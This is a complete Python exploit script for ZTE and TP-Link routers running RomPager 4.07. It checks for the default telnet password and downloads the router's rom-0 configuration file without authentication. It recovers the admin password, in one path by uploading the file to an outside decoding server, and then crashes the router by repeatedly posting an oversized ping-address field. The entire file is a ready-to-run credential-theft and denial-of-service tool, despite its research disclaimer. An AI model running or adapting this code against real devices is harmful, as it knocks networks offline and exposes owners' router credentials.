#!/usr/bin/env python
# -*- coding: utf-8 -*- 

# Exploit Title: ZTE and TP-Link RomPager DoS Exploit
# Date: 10-05-2014
# Server Version: RomPager/4.07 UPnP/1.0
# Tested Routers:   ZTE ZXV10 W300
#          TP-Link TD-W8901G
#          TP-Link TD-W8101G
#          TP-Link TD-8840G
# Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0
# Tested on: Kali Linux x86
#
# Notes:  Please note this exploit may contain errors, and
#      is provided "as it is". There is no guarantee
#      that it will work on your target router(s), as
#      the code may have to be adapted. 
#      This is to avoid script kiddie abuse as well.
#
# Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
#        Author takes no responsibility for any kind of damage you cause.
#
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
#
# Original write-up: https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/
# Video: https://www.youtube.com/watch?v=1fSECo2ewoo
# Dedicate to Nick Knight and Hood3dRob1n
#  
# ./dos.py -i 192.168.1.1

import os
import re
import sys
import time
import urllib
import base64
import httplib
import urllib2
import requests
import optparse
import telnetlib
import subprocess
import collections
import unicodedata
 
class BitReader:
  
    def __init__(self, bytes):
        self._bits = collections.deque()
        
        for byte in bytes:
            byte = ord(byte)
            for n in xrange(8):
                self._bits.append(bool((byte >> (7-n)) & 1))
            
    def getBit(self):
        return self._bits.popleft()
        
    def getBits(self, num):
        res = 0
        for i in xrange(num):
            res += self.getBit() << num-1-i
        return res
        
    def getByte(self):
        return self.getBits(8)
        
    def __len__(self):
        return len(self._bits)
        
class RingList:
  
    def __init__(self, length):
        self.__data__ = collections.deque()
        self.__full__ = False
        self.__max__ = length
 
    def append(self, x):
        if self.__full__:
            self.__data__.popleft()
        self.__data__.append(x)
        if self.size() == self.__max__:
            self.__full__ = True
 
    def get(self):
        return self.__data__
 
    def size(self):
        return len(self.__data__)
 
    def maxsize(self):
        return self.__max__
        
    def __getitem__(self, n):
        if n >= self.size():
            return None
        return self.__data__[n]

def filter_non_printable(str):
  return ''.join([c for c in str if ord(c) > 31 or ord(c) == 9])


def banner():
  return '''

\t\t    _/_/_/                _/_/_/   
\t\t   _/    _/    _/_/    _/          
\t\t  _/    _/  _/    _/    _/_/       
\t\t _/    _/  _/    _/        _/      
\t\t_/_/_/      _/_/    _/_/_/         
                           
 '''                          
def dos(host, password):
  while (1):
    url = 'http://' +host+ '/Forms/tools_test_1'
    parameters = {
    'Test_PVC'      :  'PVC0', 
    'PingIPAddr'    :  '\101'*2000,
    'pingflag'      :  '1',
    'trace_open_flag'  :  '0',
    'InfoDisplay'    :  '+-+Info+-%0D%0A'
    }
    
    params = urllib.urlencode(parameters) 
    
    req = urllib2.Request(url, params) 
    base64string = base64.encodestring('%s:%s' % ('admin', password)).replace('\n', '')
    req.add_header("Authorization", "Basic %s" %base64string)
    req.add_header("Content-type", "application/x-www-form-urlencoded")
    req.add_header("Referer", "http://" +host+ "/maintenance/tools_test.htm")
    try:
        print '[~] Sending Payload'  
        response = urllib2.urlopen(req, timeout=1)
        sys.exit(0)
      
    except:
      flag = checkHost(host)
      if flag == 0:
        print '[+] The host is still up and running'
      else:
        print '[~] Success! The host is down'
        sys.exit(0)
        break

def checkHost(host):
  if sys.platform == 'win32':
    c = "ping -n 2 " + host
  else:
    c = "ping -c 2 " + host

  try:
    x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
    time.sleep(1)
    return x
    
  except:
    pass

def checkServer(host):
  connexion = httplib.HTTPConnection(host)
  connexion.request("GET", "/status.html")
  response = connexion.getresponse()
  server = response.getheader("server")
  connexion.close()
  time.sleep(2)
  if server == 'RomPager/4.07 UPnP/1.0':
    return 0
  else:
    return 1

def checkPassword(host):
  print '[+] Checking for default password'
  defaultpass = 'admin'
  tn = telnetlib.Telnet(host, 23, 4)
  tn.read_until("Password: ")
  tn.write(defaultpass + '\n')
  time.sleep(2)
  banner = tn.read_eager()
  banner = regex(len(defaultpass)*r'.'+'\w+' , banner)
  tn.write("exit\n")
  tn.close()
  time.sleep(4)
  if banner == 'Copyright':
    print '[+] Default password is being used'
    dos(host, defaultpass)
  else:
    print '[!] Default Password is not being used'
  while True:
    msg = str(raw_input('[?] Decrypt the rom-0 file locally? ')).lower()
    try:
      if msg[0] == 'y':
        password = decodePasswordLocal(host)
        print '[*] Router password is: ' +password
        dos(host, password)
        break              
      if msg[0] == 'n':
        password = decodePasswordRemote(host)
        print '[*] Router password is: ' +password
        dos(host, password)
        break
      else:
        print '[!] Enter a valid choice'
    except Exception, e:
        print e
        continue
    

def decodePasswordRemote(host):
  fname = 'rom-0'
  if os.path.isfile(fname) == True:
    os.remove(fname)
  urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  # If this URL goes down you might have to find one and change this function. 
  # You can also use the local decoder. It might have few errors in getting output.
  url = 'http://198.61.167.113/zynos/decoded.php'                # Target URL
  files = {'uploadedfile': open('rom-0', 'rb') }                 # The rom-0 file we wanna upload
  data = {'MAX_FILE_SIZE': 1000000, 'submit': 'Upload rom-0'}    # Additional Parameters we need to include
  headers = { 'User-agent' : 'Python Demo Agent v1' }            # Any additional Headers you want to send or include

  res = requests.post(url, files=files, data=data, headers=headers, allow_redirects=True, timeout=30.0, verify=False )
  res1 =res.content
  p = re.search('rows=10>(.*)', res1)
  if p:
    passwd = found = p.group(1)
  else:
    password = 'NotFound'
  return passwd

def decodePasswordLocal(host):
  # Sometimes this might output a wrong password while finding the exact string. 
  # print the result as mentioned below and manually find out
  fname = 'rom-0'
  if os.path.isfile(fname) == True:
    os.remove(fname)
  urllib.urlretrieve ("http://"+host+"/rom-0", fname)
  fpos=8568
  fend=8788
  fhandle=file('rom-0')
  fhandle.seek(fpos)
  chunk="*"
  amount=221
  while fpos < fend:
      if fend-fpos < amount:
          amount = amount
          data = fhandle.read(amount)
          fpos += len(data)
          
  reader = BitReader(data)
  result = ''
     
  window = RingList(2048)
      
  while True:
      bit = reader.getBit()
      if not bit:
          char = reader.getByte()
          result += chr(char)
          window.append(char)
      else:
          bit = reader.getBit()
          if bit:
              offset = reader.getBits(7)
              if offset == 0:
                  break
          else:
              offset = reader.getBits(11)
          
          lenField = reader.getBits(2)
          if lenField < 3:
              lenght = lenField + 2
          else:
              lenField <<= 2
              lenField += reader.getBits(2)
              if lenField < 15:
                  lenght = (lenField & 0x0f) + 5
              else:
                  lenCounter = 0
                  lenField = reader.getBits(4)
                  while lenField == 15:
                      lenField = reader.getBits(4)
                      lenCounter += 1
                  lenght = 15*lenCounter + 8 + lenField
          
          for i in xrange(lenght):
              char = window[-offset]
              result += chr(char)
              window.append(char)

  result = filter_non_printable(result).decode('unicode_escape').encode('ascii','ignore')
  # In case the password you see is wrong while filtering, manually print it from here and findout. 
  #print result 
  if 'TP-LINK' in result:
      result = ''.join(result.split()).split('TP-LINK', 1)[0] + 'TP-LINK';
      result = result.replace("TP-LINK", "")
      result = result[1:]

  if 'ZTE' in result:
      result = ''.join(result.split()).split('ZTE', 1)[0] + 'ZTE';
      result = result.replace("ZTE", "")
      result = result[1:]

  if 'tc160' in result:
      result = ''.join(result.split()).split('tc160', 1)[0] + 'tc160';
      result = result.replace("tc160", "")
      result = result[1:]
  return result
  
def regex(path, text):
  match = re.search(path, text)
  if match:
    return match.group()
  else:
    return None

def main():
  if sys.platform == 'win32':
    os.system('cls')
  else:
    os.system('clear')
  try:
    print banner()
    print '''
|=--------=[ ZTE and TP-Link RomPager Denial of Service Exploit ]=-------=|\n
[*] Author: Osanda Malith Jayathissa
[*] Follow @OsandaMalith
[!] Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only.
[!] Author takes no responsibility for any kind of damage you cause.

  '''
    parser = optparse.OptionParser("usage: %prog -i <IP Address> ")
    parser.add_option('-i', dest='host', 
              type='string',  
              help='Specify the IP to attack')
    (options, args) = parser.parse_args()
    
    if options.host is None:
      parser.print_help()
      exit(-1)

    host = options.host
    x = checkHost(host)

    if x == 0:
      print '[+] The host is up and running'
      server = checkServer(host)
      if server == 0:
        checkPassword(host)
      else:
        print ('[!] Sorry the router is not running RomPager')
    else:
      print '[!] The host is not up and running'
      sys.exit(0)

  except KeyboardInterrupt:
    print '[!] Ctrl + C detected\n[!] Exiting'
    sys.exit(0)
  except EOFError:
    print '[!] Ctrl + D detected\n[!] Exiting'
    sys.exit(0)

if __name__ == "__main__": 
    main()  
#EOF